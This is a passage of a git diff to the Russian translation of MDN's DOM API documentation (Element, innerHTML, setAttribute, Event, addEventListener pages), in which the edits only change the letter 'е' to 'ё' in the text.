поиска, то коллекция будет пустой.</li> - <li><code>element</code> это элемент в котором будет осуществляться поиск. Обратите внимание, что поиск будет осуществляться только в потомках этого элемента. Сам элемент не будет включен в результат поиска. </li> + <li><code>element</code> это элемент в котором будет осуществляться поиск. Обратите внимание, что поиск будет осуществляться только в потомках этого элемента. Сам элемент не будет включён в результат поиска. </li> <li><code>tagName</code> определяет имя тега для поиска. Если значением tagName будет <code>"*", то в результате будут получены все потомки элемента по которому осуществляется поиск</code>. Для совместимости с XHTML следует использовать нижний регистр в имени тега. </li> </ul> @@ -129,6 +129,6 @@ for (var i = 0; i < cells.length; i++) { </table> </div> -<p>[1] До Firefox 19 этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответствовать спецификации.</p> +<p>[1] До Firefox 19 этот метод возвращал {{domxref("NodeList")}}; и был затем изменён, чтобы соответствовать спецификации.</p> -<p>[2] Первоначально этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответствовать спецификации.</p> +<p>[2] Первоначально этот метод возвращал {{domxref("NodeList")}}; и был затем изменён, чтобы соответствовать спецификации.</p> diff --git a/files/ru/web/api/element/hasattribute/index.html b/files/ru/web/api/element/hasattribute/index.html index 12983eff93..de656ff27d 100644 --- a/files/ru/web/api/element/hasattribute/index.html +++ b/files/ru/web/api/element/hasattribute/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Element/hasAttribute </pre> <ul> - <li><code>Переменная result</code> хранит возвращенное значение <code>true</code> или <code>false</code>.</li> + <li><code>Переменная result</code> хранит возвращённое значение <code>true</code> или <code>false</code>.</li> <li><code>attName</code> это {{Glossary("String")}} представляющая имя атрибута.</li> </ul> diff --git a/files/ru/web/api/element/index.html b/files/ru/web/api/element/index.html index 966cf39fe2..690ad551ff 100644 --- a/files/ru/web/api/element/index.html +++ b/files/ru/web/api/element/index.html @@ -54,7 +54,7 @@ translation_of: Web/API/Element <dd>Пространство имён URI элемента или null, если это не пространство имен.</dd> <dd> <div class="note"> - <p><strong>Примечание:</strong> В Firefox версии 3.5 и ранее, HTML элементы не находятся в пространстве имен. В более поздних версиях, HTML элементы находятся в пространстве имен <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> как в деревьях HTML, так и XML. {{ gecko_minversion_inline("1.9.2") }}</p> + <p><strong>Примечание:</strong> В Firefox версии 3.5 и ранее, HTML элементы не находятся в пространстве имён. В более поздних версиях, HTML элементы находятся в пространстве имён <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> как в деревьях HTML, так и XML. {{ gecko_minversion_inline("1.9.2") }}</p> </div> </dd> </dl> @@ -119,7 +119,7 @@ translation_of: Web/API/Element <dl> <dt>{{ domxref("EventTarget.addEventListener()") }}</dt> - <dd>Регистрирует обработчик событий для определенного типа событий в элементе.</dd> + <dd>Регистрирует обработчик событий для определённого типа событий в элементе.</dd> <dt>{{ domxref("Element.closest()")}} {{experimental_inline}}</dt> <dd>Возвращает {{domxref("Element")}}, потомка этого элемента (или сам этот элемент), который является ближайшим предком элементов, выбранных селекторами, указанными в параметре.</dd> <dt>{{ domxref("Element.createShadowRoot()")}} {{experimental_inline}}</dt> @@ -135,11 +135,11 @@ translation_of: Web/API/Element <dt>{{ domxref("Element.getAttribute()") }}</dt> <dd>Извлекает значение именованного атрибута из текущего узла и возвращает его в виде{{jsxref("Object")}}.</dd> <dt>{{ domxref("Element.getAttributeNS()") }}</dt> - <dd>Извлекает значение атрибута с указанным именем и пространством имен из текущего узла и возвращает его как {{jsxref("Object")}}.</dd> + <dd>Извлекает значение атрибута с указанным именем и пространством имён из текущего узла и возвращает его как {{jsxref("Object")}}.</dd> <dt>{{ domxref("Element.getAttributeNode()") }} {{obsolete_inline}}</dt> <dd>Извлекает представление узла именованного атрибута из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd> <dt>{{ domxref("Element.getAttributeNodeNS()") }} {{obsolete_inline}}</dt> - <dd>Извлекает представление узла атрибута с указанным именем и пространством имен из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd> + <dd>Извлекает представление узла атрибута с указанным именем и пространством имён из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd> <dt>{{ domxref("Element.getBoundingClientRect()") }}<code> </code>{{experimental_inline}}</dt> <dd>...</dd> <dt>{{ domxref("Element.getClientRects()") }} {{experimental_inline}} TYPE of returnvalue????</dt> @@ -153,9 +153,9 @@ translation_of: Web/API/Element <dt>{{ domxref("Element.getElementsByTagNameNS()") }}</dt> <dd>Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название тега и пространства имён совпадает с тем, что заданно в параметрах функции.</dd> <dt>{{ domxref("Element.hasAttribute()") }}</dt> - <dd>Возвращает {{jsxref("Boolean")}}, указывающее, имеет элемент определенный атрибут, или нет.</dd> + <dd>Возвращает {{jsxref("Boolean")}}, указывающее, имеет элемент определённый атрибут, или нет.</dd> <dt>{{ domxref("Element.hasAttributeNS()") }}</dt> - <dd>Возвращает {{jsxref("Boolean")}}, указывающий, имеет элемент определенный атрибут в определенном пространстве имен, или нет.</dd> + <dd>Возвращает {{jsxref("Boolean")}}, указывающий, имеет элемент определённый атрибут в определённом пространстве имён, или нет.</dd> <dt>{{ domxref("Element.insertAdjacentHTML") }} {{experimental_inline}}</dt> <dd>Анализирует текст как HTML или XML и вставляет полученные узлы в указанную позицию дерева элементов.</dd> <dt>{{ domxref("Element.matches()") }}<code> </code>{{experimental_inline}}</dt> @@ -171,7 +171,7 @@ translation_of: Web/API/Element <dt>{{ domxref("Element.removeAttribute()") }}</dt> <dd>Удаляет именованный атрибут из текущего узла.</dd> <dt>{{ domxref("Element.removeAttributeNS()") }}</dt> - <dd>Удаляет атрибут с указанным именем и пространством имен, из текущего узла.</dd> + <dd>Удаляет атрибут с указанным именем и пространством имён, из текущего узла.</dd> <dt>{{ domxref("Element.removeAttributeNode()") }} {{obsolete_inline}}</dt> <dd>Удаляет представление узла именованного атрибута из текущего узла.</dd> <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt> @@ -184,15 +184,15 @@ translation_of: Web/API/Element <dl> <dt>{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}</dt> - <dd>Прокручивает страницу до тех пор, пока элемент не попадет в представление.</dd> + <dd>Прокручивает страницу до тех пор, пока элемент не попадёт в представление.</dd> <dt>{{ domxref("Element.setAttribute()") }}</dt> <dd>Устанавливает значение именованного атрибута из текущей узла.</dd> <dt>{{ domxref("Element.setAttributeNS()") }}</dt> - <dd>Устанавливает значение атрибута с определенным именем и пространством имен из текущей узла.</dd> + <dd>Устанавливает значение атрибута с определённым именем и пространством имён из текущей узла.</dd> <dt>{{ domxref("Element.setAttributeNode()") }} {{obsolete_inline}}</dt> - <dd>Задает представление узла именованного атрибута из текущего узла.</dd> + <dd>Задаёт представление узла именованного атрибута из текущего узла.</dd> <dt>{{ domxref("Element.setAttributeNodeNS()") }} {{obsolete_inline}}</dt> - <dd>Установите представление узла атрибута с указанным именем и пространством имен из текущего узла.</dd> + <dd>Установите представление узла атрибута с указанным именем и пространством имён из текущего узла.</dd> <dt>{{ domxref("Element.setCapture()") }} {{non-standard_inline}}</dt> <dd>Настройка захвата событий мыши, перенаправление всех событий мыши на этот элемент.</dd> <dt>{{domxref("Element.setPointerCapture()")}}</dt> diff --git a/files/ru/web/api/element/innerhtml/index.html b/files/ru/web/api/element/innerhtml/index.html index 2803948c8c..9920c078ae 100644 --- a/files/ru/web/api/element/innerhtml/index.html +++ b/files/ru/web/api/element/innerhtml/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Element/innerHTML <p>Свойство интерфейса {{domxref("Element")}} <strong><code>innerHTML</code></strong> устанавливает или получает HTML или XML разметку дочерних элементов.</p> -<div class="note"><strong>Примечание: </strong>Если узлы {{HTMLElement("div")}}, {{HTMLElement("span")}}, или {{HTMLElement("noembed")}} имеют дочерние текстовые узлы, содержащие символы <code>(&), (<),</code> или <code>(>)</code>, <code>innerHTML</code> вернет эти символы как &amp, &lt и &gt соответственно. Используйте {{domxref("Node.textContent")}} для получения правильной копии содержимого этих текстовых узлов. </div> +<div class="note"><strong>Примечание: </strong>Если узлы {{HTMLElement("div")}}, {{HTMLElement("span")}}, или {{HTMLElement("noembed")}} имеют дочерние текстовые узлы, содержащие символы <code>(&), (<),</code> или <code>(>)</code>, <code>innerHTML</code> вернёт эти символы как &amp, &lt и &gt соответственно. Используйте {{domxref("Node.textContent")}} для получения правильной копии содержимого этих текстовых узлов. </div> <p> Чтобы вставить HTML в документ, не меняя содержимое элемента, используйте {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.</p> @@ -43,7 +43,7 @@ translation_of: Web/API/Element/innerHTML javascript:"<pre>"+document.documentElement.innerHTML.replace(/</g,"&lt;") + "</pre>"; </pre> -<p>Это свойство было первоначально реализовано веб браузерами, затем описано WHATWG и W3C в HTML5. Старые реализации могут отличаться от новых. Для примера, когда введен текст в поле ввода <input>, IE меняет значение атрибута <input> свойства innerHTML, но браузеры Gecko не делают этого.</p> +<p>Это свойство было первоначально реализовано веб браузерами, затем описано WHATWG и W3C в HTML5. Старые реализации могут отличаться от новых. Для примера, когда введён текст в поле ввода <input>, IE меняет значение атрибута <input> свойства innerHTML, но браузеры Gecko не делают этого.</p> <h3 id="Соображения_безопасности">Соображения безопасности</h3> @@ -160,8 +160,8 @@ boxElem.addEventListener("mouseleave", logEvent);</pre> <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li><a class="external" href="http://innerdom.sourceforge.net/"><code>innerDOM</code></a> - Для тех, кто хочет придерживаться стандартов, вот один набор функций JavaScript, предлагающий сериализовать или разобрать XML так, чтобы установить содержимое элемента, определенное как строка(и) через DOM или получить содержимое элемента, полученное из DOM как строку.</li> + <li><a class="external" href="http://innerdom.sourceforge.net/"><code>innerDOM</code></a> - Для тех, кто хочет придерживаться стандартов, вот один набор функций JavaScript, предлагающий сериализовать или разобрать XML так, чтобы установить содержимое элемента, определённое как строка(и) через DOM или получить содержимое элемента, полученное из DOM как строку.</li> <li>{{domxref("Element.insertAdjacentHTML")}} - <span id="result_box" lang="ru"><span>Альтернатива для innerHTML, позволяющая добавлять новый HTML</span></span>.</li> - <li><a class="external" href="https://github.com/ndebeiss/jsxmlsaxparser">jssaxparser</a> - Более надежным (хотя и более тяжелым) решением, чем innerDOM (поддерживает парсинг с пространствами имен, однокавычками атрибутов, секциями CDATA и т.д.), является этот SAX2 парсер при использовании с его обработчиком DOM-контента. (Предлагает строку на DOM; DOM на строку <a href="https://app.assembla.com/spaces/brettz9/bize6mebSr3B31ab7jnrAJ/source/DOMToString">значительно проще</a>).</li> + <li><a class="external" href="https://github.com/ndebeiss/jsxmlsaxparser">jssaxparser</a> - Более надёжным (хотя и более тяжёлым) решением, чем innerDOM (поддерживает парсинг с пространствами имён, однокавычками атрибутов, секциями CDATA и т.д.), является этот SAX2 парсер при использовании с его обработчиком DOM-контента. (Предлагает строку на DOM; DOM на строку <a href="https://app.assembla.com/spaces/brettz9/bize6mebSr3B31ab7jnrAJ/source/DOMToString">значительно проще</a>).</li> <li>Эффективность соображений: <a class="external" href="http://www.quirksmode.org/dom/innerhtml.html">quirksmode.</a></li> </ul> diff --git a/files/ru/web/api/element/insertadjacenttext/index.html b/files/ru/web/api/element/insertadjacenttext/index.html index 81a8079b0c..2b269e1291 100644 --- a/files/ru/web/api/element/insertadjacenttext/index.html +++ b/files/ru/web/api/element/insertadjacenttext/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Element/insertAdjacentText </ul> </dd> <dt><code>element</code></dt> - <dd>{{domxref("DOMString")}} текст, который будет помещен в заданную позицию.</dd> + <dd>{{domxref("DOMString")}} текст, который будет помещён в заданную позицию.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/api/element/mouseenter_event/index.html b/files/ru/web/api/element/mouseenter_event/index.html index 682e4930cd..48bd4bae46 100644 --- a/files/ru/web/api/element/mouseenter_event/index.html +++ b/files/ru/web/api/element/mouseenter_event/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/Element/mouseenter_event <div style="column-width: 455px; border: 1px solid; padding: 5px; margin-bottom: 10px;"> <div style="text-align: center;"><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5908/=mouseenter.png"></div> -<span class="tlid-translation translation" lang="ru"><span title="">Одно событие </span></span> <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется каждому элементу иерархии при их вводе.</span> <span title="">Здесь 4 события отправляются четырем элементам иерархии, когда указатель достигает текста.</span></span> +<span class="tlid-translation translation" lang="ru"><span title="">Одно событие </span></span> <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется каждому элементу иерархии при их вводе.</span> <span title="">Здесь 4 события отправляются четырём элементам иерархии, когда указатель достигает текста.</span></span> <div style="text-align: center;"><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5909/=mouseover.png"></div> <span class="tlid-translation translation" lang="ru"><span title="">Одиночное событие наведения мыши</span></span> <code>mouseover</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется в самый глубокий элемент дерева DOM, затем оно всплывает в иерархии, пока не будет отменено обработчиком или не достигнет корня.</span></span></div> diff --git a/files/ru/web/api/element/mouseleave_event/index.html b/files/ru/web/api/element/mouseleave_event/index.html index 19b5e9dafb..6f0e633b07 100644 --- a/files/ru/web/api/element/mouseleave_event/index.html +++ b/files/ru/web/api/element/mouseleave_event/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/Element/mouseleave_event <p class="summary">Событие <code>mouseleave</code> срабатывает, когда курсор манипулятора (обычно мыши) перемещается за границы элемента.</p> <p><code>mouseleave</code> <code>и</code> {{event('mouseout')}} схожи, но отличаются тем, что <code>mouseleave</code> не всплывает, а <code>mouseout</code> всплывает.<br> - Это значит, что <code>mouseleave</code> срабатывает, когда курсор выходит за границы элемента <em>и</em> всех его дочерних элементов, в то время как <code>mouseout</code> срабатывает, когда курсор покидает границы элемента <em>или</em> одного из его дочерних элементов (даже если курсор все еще находится в пределах элемента).</p> + Это значит, что <code>mouseleave</code> срабатывает, когда курсор выходит за границы элемента <em>и</em> всех его дочерних элементов, в то время как <code>mouseout</code> срабатывает, когда курсор покидает границы элемента <em>или</em> одного из его дочерних элементов (даже если курсор все ещё находится в пределах элемента).</p> <table class="standard" style="border: solid 1px;"> <tbody> diff --git a/files/ru/web/api/element/removeattribute/index.html b/files/ru/web/api/element/removeattribute/index.html index d249cb37b5..df098434f2 100644 --- a/files/ru/web/api/element/removeattribute/index.html +++ b/files/ru/web/api/element/removeattribute/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Element/removeAttribute </pre> <ul> - <li><code>attrName</code> строка, имя атрибута который должен быть удален с <em>element</em>.</li> + <li><code>attrName</code> строка, имя атрибута который должен быть удалён с <em>element</em>.</li> </ul> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/element/scrollheight/index.html b/files/ru/web/api/element/scrollheight/index.html index e7f6f1f4af..895c36a2a8 100644 --- a/files/ru/web/api/element/scrollheight/index.html +++ b/files/ru/web/api/element/scrollheight/index.html @@ -166,7 +166,7 @@ onload = function () { </tbody> </table> -<p><strong>В версиях Firefox до 21-й:</strong> когда контент элемента не создает вертикальную полосу прокрутки, его свойство <code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;"> равно значению </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;">. Это может означать либо то, что контента слишком мало, чтобы ему потребовалась полоса прокрутки, либо то, что у элемента значение CSS свойства overflow равно visible (в этом случае прокрутка отсутствует).</span></p> +<p><strong>В версиях Firefox до 21-й:</strong> когда контент элемента не создаёт вертикальную полосу прокрутки, его свойство <code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;"> равно значению </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;">. Это может означать либо то, что контента слишком мало, чтобы ему потребовалась полоса прокрутки, либо то, что у элемента значение CSS свойства overflow равно visible (в этом случае прокрутка отсутствует).</span></p> <h2 id="See_Also" name="See_Also">Смотрите также</h2> diff --git a/files/ru/web/api/element/scrolltop/index.html b/files/ru/web/api/element/scrolltop/index.html index 5da685b3c7..f057dc4f40 100644 --- a/files/ru/web/api/element/scrolltop/index.html +++ b/files/ru/web/api/element/scrolltop/index.html @@ -19,7 +19,7 @@ var <var> intElemScrollTop</var> = someElement.scrollTop; <var>element</var>.scrollTop = <var>intValue</var>; </pre> -<p><code>scrollTop</code> может быть любым целым числом, с определенными оговорками:</p> +<p><code>scrollTop</code> может быть любым целым числом, с определёнными оговорками:</p> <ul> <li>Если элемент не может быть прокручен (т.е. у него нет переполнения или если элемент <strong>не прокручиваем</strong>), <code>scrollTop</code> устанавливается в <code>0</code>.</li> diff --git a/files/ru/web/api/element/setattribute/index.html b/files/ru/web/api/element/setattribute/index.html index 0d61d3834e..f7e43d6d58 100644 --- a/files/ru/web/api/element/setattribute/index.html +++ b/files/ru/web/api/element/setattribute/index.html @@ -34,13 +34,13 @@ b.setAttribute("disabled", "disabled"); <h2 id="Notes" name="Notes">Примечания</h2> -<p>При вызове на элементе внутри HTML документа, setAttribute переведет имя атрибута в нижний регистр.</p> +<p>При вызове на элементе внутри HTML документа, setAttribute переведёт имя атрибута в нижний регистр.</p> <p>Если указанный атрибут уже существует, его значение изменится на новое. Если атрибута ранее не существовало, он будет создан.</p> -<p>Несмотря на то, что метод <code style="font-style: normal;"><a href="/ru/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute()</a></code> возвращает null у удаленных атрибутов, вы должны использовать <a href="/ru/docs/DOM/element.removeAttribute" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="DOM/element.removeAttribute">removeAttribute()</a> вместо <em>elt</em><span style="font-family: consolas,monaco,andale mono,monospace;">.setAttribute(</span><em>attr</em><span style="font-family: consolas,monaco,andale mono,monospace;">, null)</span>, чтобы удалить атрибут. Последний заставит значение <code>null</code> быть строкой <code>"null"</code>, <span class="short_text" id="result_box" lang="ru"><span>которая, вероятно,</span> <span>не то, что</span> <span>вы хотите</span><span>.</span></span></p> +<p>Несмотря на то, что метод <code style="font-style: normal;"><a href="/ru/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute()</a></code> возвращает null у удалённых атрибутов, вы должны использовать <a href="/ru/docs/DOM/element.removeAttribute" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="DOM/element.removeAttribute">removeAttribute()</a> вместо <em>elt</em><span style="font-family: consolas,monaco,andale mono,monospace;">.setAttribute(</span><em>attr</em><span style="font-family: consolas,monaco,andale mono,monospace;">, null)</span>, чтобы удалить атрибут. Последний заставит значение <code>null</code> быть строкой <code>"null"</code>, <span class="short_text" id="result_box" lang="ru"><span>которая, вероятно,</span> <span>не то, что</span> <span>вы хотите</span><span>.</span></span></p> -<p>Использование setAttribute() для изменения определенных атрибутов особенно значимо в XUL, так как работает непоследовательно, а атрибут определяет значение по умолчанию. Для того, чтобы получить или изменить текущие значения, вы должны использовать свойства. Например, elt.value вместо elt.setAttribure('value', val).</p> +<p>Использование setAttribute() для изменения определённых атрибутов особенно значимо в XUL, так как работает непоследовательно, а атрибут определяет значение по умолчанию. Для того, чтобы получить или изменить текущие значения, вы должны использовать свойства. Например, elt.value вместо elt.setAttribure('value', val).</p> <p>Чтобы установить атрибут, которому значение не нужно, такой как, например, атрибут <code>autoplay</code> элемента {{HTMLElement("audio")}}, используйте null или пустое значение. Например: <code><em>elt</em>.setAttribute('autoplay', '')</code></p> diff --git a/files/ru/web/api/element/slot/index.html b/files/ru/web/api/element/slot/index.html index 0cf309a075..7ff8d276c7 100644 --- a/files/ru/web/api/element/slot/index.html +++ b/files/ru/web/api/element/slot/index.html @@ -28,7 +28,7 @@ translation_of: Web/API/Element/slot <h2 id="Example" name="Example">Примеры</h2> -<p>В нашем <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">примере простого шаблона</a> (<a href="https://mdn.github.io/web-components-examples/simple-template/">смотри в прямом эфире</a>), мы создаем тривиальный пример пользовательского элемента с именем <code><my-paragraph></code>, в котором прикрепляется теневой корень, а затем заполняется с использованием содержимого шаблона, содержащего слот с именем <code>my-text</code>.</p> +<p>В нашем <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">примере простого шаблона</a> (<a href="https://mdn.github.io/web-components-examples/simple-template/">смотри в прямом эфире</a>), мы создаём тривиальный пример пользовательского элемента с именем <code><my-paragraph></code>, в котором прикрепляется теневой корень, а затем заполняется с использованием содержимого шаблона, содержащего слот с именем <code>my-text</code>.</p> <p>Когда в документе используется <code><my-paragraph></code>, слот заполняется слот-элементом, включая его в элемент с атрибутом <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> со значением <code>my-text</code>. Вот один из таких примеров:</p> diff --git a/files/ru/web/api/elementcssinlinestyle/style/index.html b/files/ru/web/api/elementcssinlinestyle/style/index.html index 7180bedfa6..df3bcd15b5 100644 --- a/files/ru/web/api/elementcssinlinestyle/style/index.html +++ b/files/ru/web/api/elementcssinlinestyle/style/index.html @@ -20,13 +20,13 @@ original_slug: Web/API/HTMLElement/style <div>{{ APIRef("HTML DOM") }}</div> </div> -<p>Свойство<strong> </strong><code><strong>HTMLElement.style</strong></code> используется для получения и установки инлайновых стилей. При получении возвращается объект <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> , который содержит список из всех свойств стилей для этого элемента с значениями заданными для атрибутов , что определенны в инлайновом стиле (см. <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>атрибут</code> стиля</a>) элемента. См. <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> для получения списка CSS свойств применимых вместе со style. </p> +<p>Свойство<strong> </strong><code><strong>HTMLElement.style</strong></code> используется для получения и установки инлайновых стилей. При получении возвращается объект <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> , который содержит список из всех свойств стилей для этого элемента с значениями заданными для атрибутов , что определённы в инлайновом стиле (см. <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>атрибут</code> стиля</a>) элемента. См. <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> для получения списка CSS свойств применимых вместе со style. </p> <h3 id="Настройка_стилей">Настройка стилей</h3> <p>Свойство style имеет тот же приоритет (и выше) в каскаде CSS как и прямая декларация стиля через атрибут style, полезен для настройки стиля отдельного специфичного элемента.</p> -<p>Стили не следует устанавливать непосредственно через свойство <code>style</code> (например <code>elt.style = "color: blue;"</code>), поскольку оно считается доступным только для чтения и атрибут style возвращает объект <code>CSSStyleDeclaration</code> который доступен только для чтения. Вместо этого стили могут быть установлены путем присвоения значений свойствам <code>style</code>. Для добавления определенных стилей для элемента без изменения других свойств стилей предпочтительно использовать отдельные свойства <code>style</code> (например <code>elt.style.color = '...'</code>). +<p>Стили не следует устанавливать непосредственно через свойство <code>style</code> (например <code>elt.style = "color: blue;"</code>), поскольку оно считается доступным только для чтения и атрибут style возвращает объект <code>CSSStyleDeclaration</code> который доступен только для чтения. Вместо этого стили могут быть установлены путём присвоения значений свойствам <code>style</code>. Для добавления определённых стилей для элемента без изменения других свойств стилей предпочтительно использовать отдельные свойства <code>style</code> (например <code>elt.style.color = '...'</code>). При использовании <br><code>elt.style.cssText = '...'</code> или <code>elt.setAttribute('style','...')</code> устанавливаются стили перезаписывая уже существующие. Обратите внимание, что имена свойств стилей задаются в camel-case а не в kebab-case <code>elt.style.<property></code> (т.е., <code>elt.style.fontSize</code>, а не <code>elt.style.font-size</code>).</p> <p>Объявленные стили сбрасываются присваиванием значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">null</span></font>, <br><code>elt.style.color = null</code></p> @@ -38,7 +38,7 @@ elt.style.cssText = "color: blue; border: 1px solid black"; // Или elt.setAttribute("style", "color:red; border: 1px solid blue;"); -// Устанавливает определенный стиль оставляя другие значения стиля нетронутыми +// Устанавливает определённый стиль оставляя другие значения стиля нетронутыми elt.style.color = "blue";</code></pre> <h3 id="Получение_стиль-информации">Получение стиль-информации</h3> diff --git a/files/ru/web/api/event/event/index.html b/files/ru/web/api/event/event/index.html index c18a0ab884..0b608e61b0 100644 --- a/files/ru/web/api/event/event/index.html +++ b/files/ru/web/api/event/event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Event/Event --- <p>{{APIRef("DOM")}}</p> -<p>Конструктор <code><strong>Event()</strong></code> создает новый объект события {{domxref("Event")}}.</p> +<p>Конструктор <code><strong>Event()</strong></code> создаёт новый объект события {{domxref("Event")}}.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/event/index.html b/files/ru/web/api/event/index.html index 41b3027031..05babc71de 100644 --- a/files/ru/web/api/event/index.html +++ b/files/ru/web/api/event/index.html @@ -78,7 +78,7 @@ translation_of: Web/API/Event <dl> <dt>{{domxref("Event.Event", "Event()")}}</dt> - <dd>Создает объект <code>Event</code> и возвращает его вызывающему.</dd> + <dd>Создаёт объект <code>Event</code> и возвращает его вызывающему.</dd> </dl> <h2 id="Properties" name="Properties">Свойства</h2> @@ -115,7 +115,7 @@ translation_of: Web/API/Event <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt> <dd>Время, когда событие было создано (в миллисекундах). По спецификации это время от начала Эпохи (Unix Epoch), но в действительности в разных браузерах определяется по-разному; кроме того, ведётся работа по изменению его на {{domxref("DOMHighResTimeStamp")}} тип.</dd> <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt> - <dd>Название события (без учета регистра символов).</dd> + <dd>Название события (без учёта регистра символов).</dd> <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt> <dd>Показывает было или нет событие инициировано браузером (например, по клику мышью) или из скрипта (например, через функцию создания события, такую как <a href="/en-US/docs/DOM/event.initEvent">event.initEvent</a>)</dd> </dl> diff --git a/files/ru/web/api/event/type/index.html b/files/ru/web/api/event/type/index.html index 11512d0c29..b007fc956f 100644 --- a/files/ru/web/api/event/type/index.html +++ b/files/ru/web/api/event/type/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Event/type --- <p>{{APIRef}}</p> -<p><code><strong>Event.type</strong></code> - это доступное только для чтения свойство, возвращающее строку, содержащую тип события. Оно устанавливается в момент создания события и это имя обычно используется для ссылки на определенное событие.</p> +<p><code><strong>Event.type</strong></code> - это доступное только для чтения свойство, возвращающее строку, содержащую тип события. Оно устанавливается в момент создания события и это имя обычно используется для ссылки на определённое событие.</p> <p>Аргумент <em><code>event</code></em> функций {{ domxref("EventTarget.addEventListener()") }} и {{ domxref("EventTarget.removeEventListener()") }} не чувствителен к регистру.</p> diff --git a/files/ru/web/api/eventtarget/addeventlistener/index.html b/files/ru/web/api/eventtarget/addeventlistener/index.html index c012bbf4f9..9986963aa4 100644 --- a/files/ru/web/api/eventtarget/addeventlistener/index.html +++ b/files/ru/web/api/eventtarget/addeventlistener/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/EventTarget/addEventListener --- <p>{{apiref("DOM Events")}}</p> -<p>Метод <code>EventTarget.addEventListener()</code> регистрирует определенный обработчик события, вызванного на {{domxref("EventTarget")}}.</p> +<p>Метод <code>EventTarget.addEventListener()</code> регистрирует определённый обработчик события, вызванного на {{domxref("EventTarget")}}.</p> <p>{{domxref("EventTarget")}} может быть {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}, или любым другим объектом, поддерживающим события (таким как <code style="font-style: normal;"><a href="/ru/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code>).</p> @@ -38,7 +38,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <ul> <li><code>capture</code>: {{jsxref("Boolean")}} указывает, что события этого типа будут отправлены зарегистрированному обработчику <code>listener</code> перед отправкой на <code>EventTarget</code>, расположенный ниже в дереве DOM.</li> <li><code>once</code>: {{jsxref("Boolean")}} указывает, что обработчик должен быть вызван не более одного раза после добавления. Если <code>true</code>, обработчик автоматически удаляется при вызове.</li> - <li><code>passive</code>: {{jsxref("Boolean")}} указывает, что обработчик никогда не вызовет <code>preventDefault()</code>. Если все же вызов будет произведен, браузер должен игнорировать его и генерировать консольное предупреждение. Пример {{anch("Улучшение производительности прокрутки с помощью passive true")}}</li> + <li><code>passive</code>: {{jsxref("Boolean")}} указывает, что обработчик никогда не вызовет <code>preventDefault()</code>. Если все же вызов будет произведён, браузер должен игнорировать его и генерировать консольное предупреждение. Пример {{anch("Улучшение производительности прокрутки с помощью passive true")}}</li> <li>{{non-standard_inline}}<code> mozSystemGroup</code>: {{jsxref("Boolean")}} указывает, что обработчик должен быть добавлен в системную группу. Доступно только в коде, запущенном в XBL или в <a href="https://chrome.google.com/webstore/detail/open-with-firefox/poeacjbaiakjnaepdjgggojcjoajakmd">расширении Chrome</a>.</li> </ul> </dd> @@ -52,7 +52,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <dd>Если равно <code>true</code>, обработчик будет получать сгенерированные события, посланные со страницы (по умолчанию равно <code>false</code> для chrome и <code>true</code> для обычных веб-страниц). Этот параметр доступен только в Gecko и в основном полезен для использования в дополнениях и самом браузере. Смотрите <a 